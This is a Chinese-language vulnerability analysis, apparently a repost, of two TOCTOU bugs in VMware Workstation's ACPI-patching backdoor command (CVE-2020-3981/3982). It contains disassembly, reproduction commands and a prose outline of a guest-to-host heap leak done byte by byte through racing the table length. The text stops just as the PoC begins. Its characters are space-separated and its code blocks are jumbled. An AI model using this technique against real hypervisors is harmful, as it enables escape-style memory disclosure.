搜索

[16093] 2020-11-15_安全分析两个VMwareWorkstation中的TOCTOU漏洞

文档创建者：s7ckTeam
浏览次数：16
最后更新：2025-01-18
2020-11-15_安全分析两个VMwareWorkstation中的TOCTOU漏洞 安 全 分 析   |   两 个 V M w a r e   W o r k s t a t i o n 中 的 T O C T O U 漏 洞 A l p h a _ h 4 c k   F r e e B u f   2 0 2 0 - 1 1 - 1 5 前 两 天 ， V M w a r e 发 布 了 一 份 安 全 公 告 ， 并 修 复 了 V M w a r e   E S X i 、 W o r k s t a t i o n 、 F u s i o n 和 N S X - T 中 的 六 个 安 全 漏 洞 。 其 中 有 两 个 漏 洞 属 于 T O C T O U （ T i m e - o f - c h e c k   T i m e - o f - u s e ） 竞 争 条 件 漏 洞 ， 既 然 现 在 漏 洞 已 被 修 复 ， 那 我 们 就 一 起 来 看 一 看 这 两 个 T O C T O U 漏 洞 的 详 细 信 息 以 及 其 对 V M w a r e 系 统 的 影 响 吧 ！ 漏 洞 分 析 漏 洞 分 析 V M w a r e   W o r k s t a t i o n 使 用 了 一 个 修 改 版 的 P h o e n i x B I O S   4 . 0   R e l e a s e   6 来 实 现 其 旧 版 本 B I O S 的 模 拟 功 能 。 在 我 们 对 B I O S . 4 4 0 . R O M 镜 像 分 析 过 程 中 ， 我 们 发 现 其 中 一 处 修 改 将 导 致 V M w a r e 软 件 中 存 在 后 门 。 这 种 场 景 下 的 “ 后 门 ” 其 实 并 没 有 什 么 恶 意 性 ， 与 传 统 意 义 上 的 后 门 相 反 ， 这 个 “ 后 门 ” 指 的 是 一 个 合 法 的 数 据 通 道 ， 虚 拟 客 户 机 可 以 通 过 它 与 管 理 程 序 进 行 通 信 。 在 这 种 情 况 下 ， 后 门 是 通 过 模 拟 的 I / O 端 口 实 现 的 ， 而 用 户 可 以 通 过 执 行 以 下 指 令 并 利 用 后 门 来 发 送 消 息 ： 通 过 交 叉 引 用 后 门 调 用 并 结 合 o p e n - v m - t o o l s ， 我 们 可 以 识 别 出 R O M 镜 像 中 所 使 用 的 命 令 集 ： 这 里 的 每 一 条 指 令 代 表 的 都 是 一 个 后 门 功 能 函 数 ， 它 们 在 主 机 系 统 上 实 现 ， 可 以 由 用 户 通 过 向 模 拟 端 口 传 递 相 应 的 值 来 进 行 调 用 。 在 这 里 ， B D O O R _ C M D _ P A T C H _ A C P I _ T A B L E S 命 令 是 最 有 意 思 的 了 ， 因 为 它 可 以 从 用 户 的 内 存 中 解 析 A C P I 表 ， 下 面 的 分 析 过 程 基 于 的 是 V M w a r e W o r k s t a t i o n 的 L i n u x 版 本 （ v   1 5 . 5 . 6 ） 。 后 门 函 数 所 实 现 的 B D O O R _ C M D _ P A T C H _ A C P I _ T A B L E S 首 先 会 检 查 目 标 主 机 安 装 的 V M w a r e   T o o l s 版 本 以 及 当 前 用 户 处 理 器 的 权 限 等 级 （ C P L ） ， 然 后 再 进 行 功 能 调 用 。 B I O S _ F : 3 5 8 B   b a c k d o o r                 p r o c   n e a r                                 B I O S _ F : 3 5 8 B                                   m o v           d x ,   5 6 5 8 h B I O S _ F : 3 5 8 E                                   m o v           e a x ,   5 6 4 D 5 8 6 8 h B I O S _ F : 3 5 9 4                                   i n             e a x ,   d x B I O S _ F : 3 5 9 6                                   r e t n B I O S _ F : 3 5 9 6   b a c k d o o r                 e n d p B D O O R _ C M D _ G E T M E M S I Z E B D O O R _ C M D _ G E T M H Z B D O O R _ C M D _ I S A C P I D I S A B L E D B D O O R _ C M D _ P A T C H _ A C P I _ T A B L E S B D O O R _ C M D _ G E T U U I D B D O O R _ C M D _ G E T D I S K G E O B D O O R _ C M D _ O S N O T F O U N D B D O O R _ C M D _ A P M F U N C T I O N . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A F 0   B a c k d o o r P a t c h A C P I T a b l e s   p r o c   n e a r                 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A F 0 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 1 4                                   c a l l         G e t _ V M T o o l s _ V e r s i o n . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 1 9                                   t e s t         e a x ,   e a x                 ;   c h e c k   i f   v m w a r e   t o o l s   i n s t a l l e d . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 1 B                                   j n z           s h o r t   v m t o o l s _ a v a i l a b l e . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 5 0   v m t o o l s _ a v a i l a b l e :                                               . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 5 0                                   c a l l         G e t _ V M T o o l s _ V e r s i o n . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 5 5                                   c m p           e a x ,   1 7 F F h             ;   c h e c k   i f   v m w a r e   t o o l s   v e r s i o n   <   6 . 0 . 0 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 5 A                                   j a             s h o r t   r e t u r n
G e t _ V M T o o l s _ V e r s i o n 函 数 可 以 返 回 V M w a r e   T o o l s 的 版 本 信 息 ， 返 回 数 据 的 格 式 为 编 码 整 型 值 ， 这 部 分 数 据 在 o p e n - v m - t o o l s 中 的 定 义 如 下 ： 其 中 ， B D O O R _ C M D _ P A T C H _ A C P I _ T A B L E S 命 令 只 有 在 用 户 报 告 V M w a r e   T o o l s 版 本 低 于 6 . 0 . 0 的 时 候 才 会 使 用 到 。 除 此 之 外 ， 这 里 还 会 检 查 以 确 保 命 令 是 从 C P L   0 （ 或 r i n g   0 ） 调 用 的 ， 而 这 也 是 最 高 等 级 的 用 户 权 限 了 。 这 种 机 制 也 许 是 为 了 限 制 用 户 使 用 这 个 后 门 命 令 来 猜 测 启 动 代 码 。 完 成 检 查 之 后 ， 代 码 将 会 扫 描 用 户 的 B I O S 高 内 存 区 域 （ 0 x E 0 0 0 0 到 0 x F F F F F ） 以 识 别 “ R S D   P T R ” 标 记 ， 并 尝 试 定 位 R o o t 系 统 描 述 指 针 （ R S D P ） 结 构 。 接 下 来 ， 代 码 还 会 对 剩 下 的 A C P I 数 据 结 构 进 行 解 析 以 定 位 系 统 差 异 描 述 表 （ D S D T ） 。 找 到 D S D T 之 后 ， 后 门 函 数 会 寻 找 并 用 “ F 0 0 ” 替 换 _ S 1 的 数 据 。 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 5 A                                   j a             s h o r t   r e t u r n . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 5 C                                   c a l l         C h e c k _ C P L 0             ;   c h e c k   i f   i n v o k e d   a t   C P L   0 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 6 1                                   t e s t         a l ,   a l . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 6 3                                   j z             s h o r t   r e t u r n # d e f i n e   T O O L S _ V E R S I O N _ U I N T ( M J R ,   M N R ,   B A S E )   ( ( ( M J R )   < <   1 0 )   +   ( ( M N R )   < <   5 )   +   ( B A S E ) ) . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 7 3                                   m o v           r 1 2 d ,   0 E 0 0 0 0 h . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 7 9                                   l e a           r b p ,   [ r 1 3 + 2 4 h ] . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 7 D                                   n o p           d w o r d   p t r   [ r a x ] . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 8 0 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 8 0   l o c _ 1 D 9 B 8 0 :                                                             . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 8 0                                   m o v           e d x ,   2 4 h . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 8 5                                   m o v           r s i ,   r 1 3 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 8 8                                   m o v           r d i ,   r 1 2 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 8 B                                   m o v           r 8 d ,   1 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 9 1                                   m o v           e c x ,   4 0 h . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 9 6                                   c a l l         R e a d _ G u e s t M e m . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 9 B                                   m o v           e d x ,   8                     ;   n . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B A 0                                   m o v           r d i ,   r 1 3                 ;   s 1 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B A 3                                   l e a           r s i ,   a R s d P t r         ;   " R S D   P T R   " . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B A A                                   c a l l         _ m e m c m p . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B A F                                   t e s t         e a x ,   e a x t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B E 9                                   l e a           r s i ,   a R s d t             ;   " R S D T " t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B F 0                                   m o v           r c x ,   r b p t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B F 3                                   c a l l         V a l i d a t e A n d G e t A C P I T a b l e t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 2 4                                   l e a           r s i ,   a F a c p             ;   " F A C P " t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 2 B                                   c a l l         V a l i d a t e A n d G e t A C P I T a b l e t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 3 0                                   t e s t         a l ,   a l t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 6 3                                   l e a           r s i ,   a D s d t             ;   " D S D T " t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 6 A                                   c a l l         V a l i d a t e A n d G e t A C P I T a b l e t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 6 F                                   t e s t         a l ,   a l
为 了 测 试 该 漏 洞 ， 我 们 首 先 需 要 导 出 D S D T 表 ， 并 在 报 告 了 V M w a r e   T o o l s 版 本 小 于 6 . 0 . 0 之 后 重 启 客 户 机 。 在 对 o p e n - v m - t o o l s 进 行 分 析 之 后 ， 我 们 发 现 个 该 工 具 将 使 用 “ t o o l s . s e t . v e r s i o n ” 这 个 G u e s t R P C 命 令 来 设 置 这 条 信 息 。 重 启 之 后 ， 我 们 再 次 导 出 D S D T 表 ， 然 后 对 A S L 代 码 进 行 分 析 。 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C C A   l o c _ 1 D 9 C C A :                                                             . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C C A                     c m p           [ r s p + 0 D 8 h + v a r _ D 3 ] ,   5 F h   ;   ' _ ' . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C C F                     j n z           s h o r t   c o n t i n u e . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C D 1                     c m p           [ r s p + 0 D 8 h + v a r _ D 3 + 1 ] ,   5 3 h   ;   ' S ' . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C D 6                     j n z           s h o r t   c o n t i n u e . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C D 8                     c m p           [ r s p + 0 D 8 h + v a r _ D 3 + 2 ] ,   3 1 h   ;   ' 1 ' . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C D D                     j n z           s h o r t   c o n t i n u e . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C D F                     s u b           e a x ,   1 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C E 2                     j n z           l o c _ 1 D 9 E 6 9 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C E 8                     a d d           r 1 2 ,   [ r s p + 0 D 8 h + v a r _ B 8 ] . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C E D                     m o v           w o r d   p t r   [ r 1 2 ] ,   ' O F ' . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C F 4                     m o v           b y t e   p t r   [ r 1 2 + 2 ] ,   4 F h   ;   ' O ' $   s u d o   c a t   / s y s / f i r m w a r e / a c p i / t a b l e s / D S D T   >   D S D T $   i a s l   - d   D S D T I n t e l   A C P I   C o m p o n e n t   A r c h i t e c t u r e A S L +   O p t i m i z i n g   C o m p i l e r / D i s a s s e m b l e r   v e r s i o n   2 0 1 8 0 1 0 5 C o p y r i g h t   ( c )   2 0 0 0   -   2 0 1 8   I n t e l   C o r p o r a t i o n I n p u t   f i l e   D S D T ,   L e n g t h   0 x 2 1 4 8 B   ( 1 3 6 3 3 1 )   b y t e s A C P I :   D S D T   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0   0 2 1 4 8 B   ( v 0 1   P T L T D     C u s t o m       0 6 0 4 0 0 0 0   M S F T   0 3 0 0 0 0 0 1 ) P a s s   1   p a r s e   o f   [ D S D T ] P a s s   2   p a r s e   o f   [ D S D T ] P a r s i n g   D e f e r r e d   O p c o d e s   ( M e t h o d s / B u f f e r s / P a c k a g e s / R e g i o n s ) P a r s i n g   c o m p l e t e d D i s a s s e m b l y   c o m p l e t e d A S L   O u t p u t :         D S D T . d s l   -   1 2 9 6 9 2 3   b y t e s $   v m w a r e - r p c t o o l   " t o o l s . s e t . v e r s i o n   4 0 9 6 " $   r e b o o t *   O r i g i n a l   T a b l e   H e a d e r :       *           S i g n a t u r e                 " D S D T "       *           L e n g t h                       0 x 0 0 0 2 1 4 8 B   ( 1 3 6 3 3 1 )       *           R e v i s i o n                   0 x 0 1   * * * *   3 2 - b i t   t a b l e   ( V 1 ) ,   n o   6 4 - b i t   m a t h   s u p p o r t
S 1 休 眠 状 态 此 时 会 被 更 改 ， 而 且 导 出 表 的 校 验 和 也 会 进 行 相 应 的 更 新 。 在 这 里 ， 我 发 现 了 两 个 不 同 的 T i m e - o f - c h e c k   T i m e - o f - u s e   ( T O C T O U ) 漏 洞 。 其 中 一 个 是 越 界 受 限 写 入 漏 洞 ， 另 一 个 则 是 越 界 读 取 漏 洞 ， 并 有 可 能 导 致 目 标 主 机 发 生 信 息 泄 露 。 D S D T 表 中 包 含 了 一 个 A C P I   H e a d e r ， 后 面 跟 着 的 是 A M L 字 节 码 。 A C P I   H e a d e r 的 数 据 结 构 如 下 所 示 ： H e a d e r 中 最 有 意 思 的 数 据 字 段 为 l e n g t h 和 c h e c k s u m 。 表 的 长 度 和 校 验 和 首 先 会 在 V a l i d a t e A n d G e t A C P I T a b l e 函 数 被 调 用 时 来 进 行 验 证 ， 调 用 位 置 为 0 x 0 1 D 9 C 6 A ： -     *           C h e c k s u m                   0 x 9 E +   *           C h e c k s u m                   0 x 9 D       *           O E M   I D                       " P T L T D   "       *           O E M   T a b l e   I D           " C u s t o m     "       *           O E M   R e v i s i o n           0 x 0 6 0 4 0 0 0 0   ( 1 0 0 9 2 5 4 4 0 ) @ @   - 2 5 2 4 , 7   + 2 5 2 4 , 7   @ @                   0 x 0 5 ,                       0 x 0 5           } ) -         N a m e   ( _ S 1 ,   P a c k a g e   ( 0 x 0 2 )     / /   _ S 1 _ :   S 1   S y s t e m   S t a t e +         N a m e   ( F O O ,   P a c k a g e   ( 0 x 0 2 )           {                   0 x 0 4 ,                       0 x 0 4 s t r u c t   a c p i _ t a b l e _ h e a d e r   {                 c h a r   s i g n a t u r e [ A C P I _ N A M E S E G _ S I Z E ] ;                   / *   A S C I I   t a b l e   s i g n a t u r e   * /                 u 3 2   l e n g t h ;                                                                 / *   L e n g t h   o f   t a b l e   i n   b y t e s ,   i n c l u d i n g   t h i s   h e a d e r   * /                 u 8   r e v i s i o n ;                                                               / *   A C P I   S p e c i f i c a t i o n   m i n o r   v e r s i o n   n u m b e r   * /                 u 8   c h e c k s u m ;                                                               / *   T o   m a k e   s u m   o f   e n t i r e   t a b l e   = =   0   * /                 c h a r   o e m _ i d [ A C P I _ O E M _ I D _ S I Z E ] ;                           / *   A S C I I   O E M   i d e n t i f i c a t i o n   * /                 c h a r   o e m _ t a b l e _ i d [ A C P I _ O E M _ T A B L E _ I D _ S I Z E ] ;   / *   A S C I I   O E M   t a b l e   i d e n t i f i c a t i o n   * /                 u 3 2   o e m _ r e v i s i o n ;                                                     / *   O E M   r e v i s i o n   n u m b e r   * /                 c h a r   a s l _ c o m p i l e r _ i d [ A C P I _ N A M E S E G _ S I Z E ] ;       / *   A S C I I   A S L   c o m p i l e r   v e n d o r   I D   * /                 u 3 2   a s l _ c o m p i l e r _ r e v i s i o n ;                                   / *   A S L   c o m p i l e r   v e r s i o n   * / } ; . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 1 0   V a l i d a t e A n d G e t A C P I T a b l e   p r o c   n e a r . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 1 B                                   m o v           e d x ,   4                     ;   l e n g t h   t o   r e a d . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 2 0                                   p u s h         r 1 3 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 2 2                                   p u s h         r 1 2 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 2 4                                   m o v           r 1 2 d ,   e d i
. t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 2 4                                   m o v           r 1 2 d ,   e d i . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 2 7                                   p u s h         r b p . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 2 8                                   l e a           r d i ,   [ r 1 2 + 4 ]         ;   p h y s i c a l   a d d r e s s   o f   t a b l e   +   4 ,   t h i s   p o i n t s   t o   t h e   l e n g t h   f i e l d   i n   A C P I   h e a d e r .   .   . . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 4 D                                   l e a           r s i ,   [ r s p + 6 8 h + t a b l e _ s i z e ]   ;   b u f f e r   f o r   w r i t i n g   t h e   c o n t e n t . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 5 2                                   c a l l         R e a d G u e s t P h y A d d r . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 5 7                                   m o v           r 8 d ,   [ r s p + 6 8 h + t a b l e _ s i z e ] . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 5 C                                   l e a           e a x ,   [ r 8 - 1 ] . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 6 0                                   c m p           e a x ,   0 F F F F F F h . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 6 5                                   j b e           s h o r t   m a p _ g u e s t m e m .   .   . . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 B 8   m a p _ g u e s t m e m :                                                         . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 B 8                                   c m p           r 1 4 b ,   1 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 B C                                   m o v           e s i ,   r 8 d                 ;   l e n g t h   t o   r e a d   f r o m   g u e s t . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 B F                                   m o v           r d i ,   r 1 2                 ;   p h y s i c a l   a d d r e s s   o f   A C P I   t a b l e .   .   . . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 D 2                                   c a l l         M a p G u e s t P h y A d d r . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 D 7                                   c m p           d w o r d   p t r   [ r b x + 0 C h ] ,   1 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 D B                                   m o v           r 1 2 d ,   [ r s p + 6 8 h + t a b l e _ s i z e ] .   .   . . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 1 0                                   c m p           r 1 2 d ,   3 5                 ;   c h e c k   i f   l e n g t h   i s   a t   l e a s t   A C P I   t a b l e   h e a d e r   s i z e . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 1 4                                   j b e           i n v a l i d _ s i z e . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 1 A                                   m o v           e a x ,   d w o r d   p t r   [ r s p + 6 8 h + a c p i _ t a b l e . s i g n a t u r e ] . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 1 E                                   c m p           [ r b p + 0 ] ,   e a x         ;   c h e c k   t a b l e   s i g n a t u r e .   .   . . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 7 0   c a l c _ c h e c k s u m :                                                       . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 7 0                                   m o v           r a x ,   [ r b x + 1 0 h ] . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 7 4                                   m o v z x       e a x ,   b y t e   p t r   [ r a x + r b p ]   ;   r e a d   a   b y t e   f r o m   g u e s t   A C P I   t a b l e . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 7 8 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 7 8   l o c _ 1 D 9 A 7 8 :                                                             . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 7 8                                   a d d           r b p ,   1 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 7 C                                   a d d           r 1 2 d ,   e a x . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 7 F                                   c m p           r 1 4 d ,   e b p               ;   l o o p   u n t i l   t a b l e   s i z e . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 8 2                                   j b e           s h o r t   l o c _ 1 D 9 A D 0
总 的 来 说 ， V a l i d a t e A n d G e t A C P I T a b l e 函 数 首 先 会 从 客 户 机 内 存 中 读 取 出 A C P I 表 的 大 小 ， 然 后 利 用 这 个 大 小 值 来 从 客 户 机 物 理 内 存 中 将 整 个 A C P I 表 映 射 到 主 机 内 存 中 。 接 下 来 ， 它 会 计 算 映 射 内 存 的 字 节 大 小 并 计 算 出 A C P I 校 验 和 来 对 表 进 行 验 证 。 C V E - 2 0 2 0 - 3 9 8 2 / Z D I - 2 0 - 1 2 6 8 完 成 了 表 验 证 之 后 ， 代 码 会 再 次 从 客 户 机 内 存 中 读 取 出 A C P I 表 长 度 ， 然 后 在 D S D T   A M L 代 码 中 搜 索 _ S 1 。 在 这 里 ， 客 户 机 操 作 系 统 是 可 以 修 改 两 次 获 取 到 的 表 的 大 小 值 的 ， 从 而 导 致 受 限 的 O O B 写 入 原 语 ： “ f i n d i n g   _ S 1 ” ， 并 使 用 F 0 0 替 换 其 值 。 C V E - 2 0 2 0 - 3 9 8 1 / Z D I - 2 0 - 1 2 6 7 当 S 1 休 眠 对 象 被 修 复 之 后 ， H e a d e r 中 的 校 验 和 将 需 要 被 更 新 。 为 了 准 备 计 算 新 的 校 验 和 ， 代 码 将 再 次 从 客 户 机 内 存 中 检 索 表 长 度 ： . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 8 4 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 8 4   l o c _ 1 D 9 A 8 4 :                                                             . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 8 4                                   c m p           d w o r d   p t r   [ r b x + 0 C h ] ,   1 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 8 8                                   j z             s h o r t   c a l c _ c h e c k s u m t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 6 A                                   c a l l         V a l i d a t e A n d G e t A C P I T a b l e   ;   D S D T   t a b l e   v a l i d a t e d   h e r e . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 6 F                                   t e s t         a l ,   a l . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 7 1                                   j z             r e t u r n . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 7 7                                   m o v           e a x ,   [ r s p + 0 D 8 h + v a r _ B C ] . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 7 B                                   l e a           r 1 5 ,   [ r s p + 0 D 8 h + v a r _ C C ] . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 8 0                                   m o v           r 1 3 d ,   2 4 h   ;   ' $ ' . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 8 6                                   l e a           r 1 4 ,   [ r s p + 0 D 8 h + v a r _ D 3 ] . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 8 B                                   j m p           s h o r t   l o c _ 1 D 9 C 9 1 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 8 D . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 8 D   P a t c h _ S 1 _ S l e e p _ S t a t e :                                         . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 8 D                                                                                     . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 8 D                                   a d d           r 1 3 d ,   1 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 9 1 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 9 1   l o c _ 1 D 9 C 9 1 :                                                             . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 9 1                                   c m p           e a x ,   1 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 9 4                                   j n z           l o c _ 1 D 9 D 9 1 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 9 A                                   m o v           r a x ,   [ r s p + 0 D 8 h + d s d t ] . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 9 F                                   m o v           e s i ,   [ r a x + a c p i _ t a b l e _ h e a d e r . l e n g t h ]   ;   D S D T   t a b l e   f e t c h e d   f r o m   g u e s t   a f t e r   v a l i d a t i o n . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C C A                                   c m p           [ r s p + 0 D 8 h + v a r _ D 3 ] ,   5 F h   ;   ' _ ' . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C C F                                   j n z           s h o r t   P a t c h _ S 1 _ S l e e p _ S t a t e . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C D 1                                   c m p           [ r s p + 0 D 8 h + v a r _ D 3 + 1 ] ,   5 3 h   ;   ' S ' . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C D 6                                   j n z           s h o r t   P a t c h _ S 1 _ S l e e p _ S t a t e . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C D 8                                   c m p           [ r s p + 0 D 8 h + v a r _ D 3 + 2 ] ,   3 1 h   ;   ' 1 '
如 果 客 户 机 在 这 次 读 取 操 作 之 前 增 加 了 长 度 字 段 的 值 ， 那 么 将 导 致 在 校 验 和 计 算 过 程 中 出 现 越 界 读 取 的 情 况 。 漏 洞 利 用 漏 洞 利 用 P o C 虽 然 这 个 后 门 函 数 在 执 行 受 信 任 的 B I O S 代 码 期 间 只 被 调 用 一 次 ， 但 它 在 引 导 后 不 会 被 禁 用 ， 并 且 即 使 是 客 户 机 操 作 系 统 也 可 以 继 续 访 问 它 。 因 为 B I O S 内 存 区 域 是 可 写 的 ， 所 以 在 调 用 后 门 之 前 ， 客 户 机 可 以 在 地 址 0 x E 0 0 0 0 插 入 一 个 伪 造 的 R S D P 结 构 。 由 于 R S D T 物 理 地 址 是 在 伪 造 的 R S D P 结 构 中 设 置 的 ， 因 此 整 个 A C P I 的 解 析 过 程 都 有 可 能 被 劫 持 ： 攻 击 者 需 要 在 客 户 机 R A M 的 末 端 设 置 一 个 D S D T 表 ， 这 样 就 可 以 直 接 在 主 机 内 存 上 受 限 O O B 访 问 了 。 虽 然 这 种 O O B 写 入 操 作 是 高 度 受 限 的 ， 但 A C P I 校 验 和 计 算 过 程 中 的 O O B 读 取 是 可 以 泄 露 主 机 堆 内 存 数 据 的 。 A C P I 表 校 验 和 是 一 个 值 ， 它 使 得 表 中 所 有 字 节 的 总 和 为 0 （ m o d   2 5 6 ） 。 考 虑 到 这 一 点 ， 信 息 泄 漏 策 略 应 该 是 一 次 泄 漏 一 个 字 节 。 攻 击 者 可 以 设 置 D S D T A C P I 表 头 ， 使 长 度 和 校 验 和 字 段 可 从 客 户 机 访 问 。 A M L 代 码 占 用 了 与 主 机 堆 内 存 区 域 相 邻 的 客 户 机 内 存 区 域 末 尾 ， 使 得 客 户 机 无 法 访 问 该 内 存 区 域 。 然 后 ， 它 们 可 以 使 用 竞 争 条 件 触 发 1 字 节 的 O O B 读 取 ， 并 检 查 校 验 和 值 是 否 已 更 改 。 如 果 是 ， 根 据 之 前 的 校 验 和 值 和 更 新 后 的 校 验 和 值 ， 利 用 它 们 可 以 计 算 出 泄 漏 的 字 节 。 如 果 在 经 过 一 定 量 的 尝 试 后 没 有 观 察 到 校 验 和 的 变 化 ， 则 假 定 泄 漏 的 字 节 为 0 。 然 后 ， 攻 击 者 可 以 触 发 一 个 2 字 节 的 O O B 读 取 来 泄 漏 后 续 字 节 ， 以 此 类 推 。 下 面 给 出 的 漏 洞 利 用 下 面 给 出 的 漏 洞 利 用 P o C ： ： . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C D 8                                   c m p           [ r s p + 0 D 8 h + v a r _ D 3 + 2 ] ,   3 1 h   ;   ' 1 ' . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C D D                                   j n z           s h o r t   P a t c h _ S 1 _ S l e e p _ S t a t e . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C D F                                   s u b           e a x ,   1 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C E 2                                   j n z           l o c _ 1 D 9 E 6 9 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C E 8                                   a d d           r 1 2 ,   [ r s p + 0 D 8 h + d s d t ] . t e x t : 0 0 0 